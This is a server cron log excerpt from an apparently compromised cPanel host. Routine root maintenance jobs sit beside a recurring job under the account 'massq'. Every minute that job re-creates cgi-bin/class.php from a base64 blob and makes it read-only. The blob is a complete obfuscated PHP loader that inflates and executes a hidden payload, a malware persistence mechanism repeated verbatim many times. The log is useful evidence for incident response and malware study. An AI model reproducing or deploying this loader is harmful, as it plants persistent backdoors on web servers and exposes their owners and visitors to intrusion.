Sep  2 12:43:01 server CROND[29379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:44:01 server CROND[29742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:44:01 server CROND[29743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:44:01 server CROND[29744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:45:01 server CROND[30201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:45:01 server CROND[30204]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:45:01 server CROND[30203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:45:01 server CROND[30202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:45:01 server CROND[30206]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:45:01 server CROND[30209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:45:01 server CROND[30205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:46:01 server CROND[31015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:46:01 server CROND[31016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:46:01 server CROND[31017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:47:01 server CROND[31389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:47:01 server CROND[31390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:47:01 server CROND[31391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:48:01 server CROND[31771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:48:01 server CROND[31772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:48:01 server CROND[31773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:49:01 server CROND[32148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:49:01 server CROND[32149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:49:01 server CROND[32150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:50:01 server CROND[32630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:50:01 server CROND[32631]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:50:01 server CROND[32633]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:50:01 server CROND[32632]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:50:01 server CROND[32639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:50:01 server CROND[32640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:50:01 server CROND[32635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:50:01 server CROND[32637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:50:01 server CROND[32638]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 12:51:01 server CROND[1095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:51:01 server CROND[1096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:51:01 server CROND[1097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:52:01 server CROND[1515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:52:01 server CROND[1517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:52:01 server CROND[1516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:53:01 server CROND[1896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:53:01 server CROND[1897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:53:01 server CROND[1898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:54:01 server CROND[2310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:54:01 server CROND[2311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:54:01 server CROND[2314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:55:01 server CROND[2832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:55:01 server CROND[2833]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:55:01 server CROND[2835]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:55:01 server CROND[2830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:55:01 server CROND[2831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:55:01 server CROND[2834]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:55:01 server CROND[2836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; 